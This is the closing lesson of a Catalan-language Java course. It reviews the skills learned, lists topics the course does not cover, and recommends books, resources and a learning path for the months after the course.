D'un System.out.println a un sistema en producció amb autenticació, mètriques, traces i una canonada de lliurament continu. Aquest és el viatge.

Què saps fer ara

Sense adorns ni falsa modèstia, això és el que pots fer en acabar el curs:

Llenguatge. Escrius Java 21 idiomàtic: col·leccions i streams amb soltesa, genèrics amb comodins, Optional sense abusar-ne, record i sealed on aporten, pattern matching, java.time amb rellotge injectable. Entens què passa per sota: l'esborrat de tipus, la càrrega de classes, la memòria, el GC i per què cal mesurar abans d'optimitzar.

Disseny. Apliques SOLID amb exemples, no de memòria. Reconeixes i fas servir els patrons quan resolen un problema real, i —el que costa més— saps no fer-los servir quan no el resolen. Dissenyes arquitectures per capes i hexagonals, saps on va cada responsabilitat, i fas servir les eines perquè les fronteres es compleixin soles.

Ecosistema. Manegues Maven multimòdul, Spring Boot amb injecció de dependències, configuració per perfils i AOP, JPA/Hibernate inclosos els problemes reals (N+1, càrrega mandrosa, bloqueig optimista), Jackson, SLF4J i les llibreries que convé no reinventar.

Qualitat. Escrius proves al nivell correcte, amb dobles quan toca i base de dades real quan importa. Interpretes la cobertura sense enganyar-te, saps que les proves de mutació mesuren el que la cobertura no pot, refactoritzes amb xarxa, i pots desenvolupar guiat per proves quan el problema ho demana.

Operació. Contenidoritzes correctament, configures la JVM per a un contenidor, versiones l'esquema amb migracions compatibles cap enrere, fas desplegaments sense tall de servei amb tornada enrere, i muntes una canonada que verifica, construeix, publica i desplega.

Producció. Protegeixes una API amb autenticació i autorització, coneixes les vulnerabilitats comunes i la seva prevenció concreta, instrumentes mètriques tècniques i de negoci, correlaciones registres amb traces, i escrius alertes que algú atendrà en lloc d'ignorar.

I una competència que no apareix en cap llista de requisits i val més que totes: saps per què les coses són com són. Saps què fa Spring per sota perquè vas escriure un contenidor de dependències a mà. Saps què fa un servidor web perquè en vas escriure un amb sockets. Saps què fa @Transactional perquè vas escriure proxies dinàmics. Quan alguna cosa falli d'una manera que no és a cap tutorial, tindràs on mirar.

Què NO cobreix aquest curs

Ser honest sobre els límits forma part d'ensenyar bé. Aquestes són àrees importants que aquest curs no cobreix i que mereixen estudi propi:

Àrea Què és Per on començar
Kotlin Llenguatge modern de la JVM, interoperable amb Java. Estàndard a Android Kotlin in Action; la documentació oficial
Android Desenvolupament mòbil sobre la JVM: cicle de vida, Jetpack Compose Documentació per a desenvolupadors d'Android
Programació reactiva WebFlux, Project Reactor: model no bloquejant per a molt alta concurrència Reactive Spring; i valorar abans si els fils virtuals ja resolen el teu cas
Microserveis i missatgeria Kafka, RabbitMQ, sagues, consistència eventual, malla de serveis Building Microservices de Sam Newman
Big data Spark, Flink, processament distribuït Designing Data-Intensive Applications
Arquitectura de dades Modelatge avançat, particionat, CQRS, event sourcing, data warehouse Designing Data-Intensive Applications, un altre cop
Seguretat avançada Criptografia aplicada, OAuth2 i OIDC complets, anàlisi forense OWASP Testing Guide; formació específica
Rendiment profund Perfilat avançat, ajust del GC, optimitzacions del JIT Optimizing Java; JVM Anatomy Quarks
DDD estratègic Contextos delimitats, llenguatge ubic, mapes de context Domain-Driven Design d'Eric Evans; Learning DDD de Vlad Khononov

Ruta d'aprenentatge recomanada

Ara mateix (aquesta setmana):

  1. Construeix alguna cosa teva. No segueixis un altre tutorial. Tria un problema que t'importi —un gestor de despeses, un seguidor d'hàbits, una eina per a la teva feina— i fes-lo amb el que saps. Et trobaràs amb decisions que cap curs no planteja, i és aquí on s'aprèn de debò.
  2. Torna a BiblioTech i afegeix-hi alguna cosa: els informes en PDF, l'app de consola amb més ordres, la interfície web amb Thymeleaf. Tens l'arquitectura; fes-la servir.

Els pròxims tres mesos:

  1. Llegeix aquests tres llibres, en aquest ordre:

    • Effective Java, Joshua Bloch. Noranta elements sobre com escriure Java correctament. És el llibre que tot desenvolupador Java hauria d'haver llegit, i el que dona nom al «Java Eficaç» que has estat prestant durant dotze mòduls.
    • Clean Code, Robert C. Martin. Amb esperit crític: no tot el que diu és inqüestionable, i el debat que genera forma part del seu valor.
    • Refactoring, Martin Fowler. El catàleg de transformacions segures. Complementa perfectament el que s'ha vist a 12-05.
  2. Llegeix codi aliè. Clona Spring Boot, o una llibreria que facis servir, i llegeix com està feta. Al principi serà incòmode; en un mes serà la manera més ràpida que tens d'aprendre.

  3. Segueix els JEP (JDK Enhancement Proposals) a openjdk.org/jeps. És on es decideix el futur del llenguatge, i llegir-los et dona mesos d'avantatge.

Els pròxims sis mesos:

  1. Contribueix a un projecte de codi obert. Comença per documentació o per incidències etiquetades com a good first issue. Rebràs revisions de codi de gent amb més experiència, que és el millor aprenentatge que existeix i, a més, gratis.

  2. Aprofundeix en una especialitat, la que t'atregui: dades, arquitectura, seguretat, rendiment, plataforma. Ser bo en tot no existeix.

  3. Ensenya el que saps. Escriu sobre el que aprens, explica-ho a algú, fes una xerrada interna. No hi ha manera més eficaç de descobrir el que no acabes d'entendre.

Recursos de referència permanent:

Recurs Per a què
docs.oracle.com/javase La documentació oficial de Java. Llegeix-la; és millor del que la gent es pensa
spring.io/guides i la seva referència Spring, de primera mà
openjdk.org/jeps El futur del llenguatge
Baeldung Tutorials pràctics de qualitat
InfoQ Tendències i arquitectura
Stack Overflow Per buscar, no per copiar sense entendre

Un consell final

Quatre coses, i són les que separen algú que programa en Java d'algú que és bon desenvolupador.

Llegeix codi. Passaràs molt més temps llegint que escrivint: codi aliè, codi teu de fa sis mesos, codi de llibreries. Llegir bé és una habilitat que s'entrena, i gairebé ningú no l'entrena expressament. Comença avui.

Escriu codi. Cap quantitat de lectura no substitueix haver-ho fet. Els conceptes d'aquest curs —la inversió de dependències, el patró Decorador, la frontera d'errors— no s'entenen de debò fins que els has aplicat i t'hi has equivocat. Equivoca't en projectes teus, que és on surt barat.

Mesura abans d'optimitzar. És la lliçó de 10-07 i val per a tota la resta. La teva intuïció sobre què és lent, sobre què es trenca, sobre què fan servir els usuaris, és sistemàticament errònia. Mesura, i decideix amb dades. I també a l'inrevés: no deixis de mesurar després, perquè un sistema que ningú no observa es degrada sense que ningú no se n'adoni.

No deixis d'aprendre. Quan vas començar aquest curs, Java 21 era la LTS actual. D'aquí a tres anys en serà una altra, i hi haurà coses al llenguatge que avui no existeixen. Els frameworks canviaran, les eines canviaran, les pràctiques canviaran. El que no canvia és el fons: separar responsabilitats, fer explícites les dependències, no repetir coneixement, provar el que importa, mesurar abans de decidir, i escriure codi que la persona següent pugui entendre. Això és el que t'endús d'aquí, i serveix en qualsevol llenguatge.

Una darrera observació, que potser és la més útil de totes.

Durant dotze mòduls, BiblioTech ha anat i vingut: s'ha reescrit, s'ha refactoritzat, s'han llençat decisions que semblaven bones —el sealed de Material, el CSV, el contenidor de dependències casolà, el java.util.logging— i s'han substituït per altres de millors. En cap moment això no va ser un fracàs. Era el procés.

El programari real es fa així: decisions raonables amb la informació disponible, que més endavant es revisen amb informació nova. Un desenvolupador amb experiència no és algú que encerta a la primera; és algú que ha après a construir sistemes que es poden canviar quan es descobreix que la primera decisió no era la correcta.

Això és exactament el que has estat fent.

Ara ves a construir alguna cosa.

Curs de Programació en Java

Mòdul 1: Introducció a Java

Mòdul 2: Flux de control

Mòdul 3: Programació orientada a objectes

Mòdul 4: Programació orientada a objectes avançada

Mòdul 5: Estructures de dades i col·leccions

Mòdul 6: Gestió d'excepcions

Mòdul 7: Entrada/sortida de fitxers

Mòdul 8: Multifil i concurrència

Mòdul 9: Xarxes

Mòdul 10: Temes avançats

Mòdul 11: Frameworks i llibreries de Java

Mòdul 12: Construcció d'aplicacions del món real

© Copyright 2026. Tots els drets reservats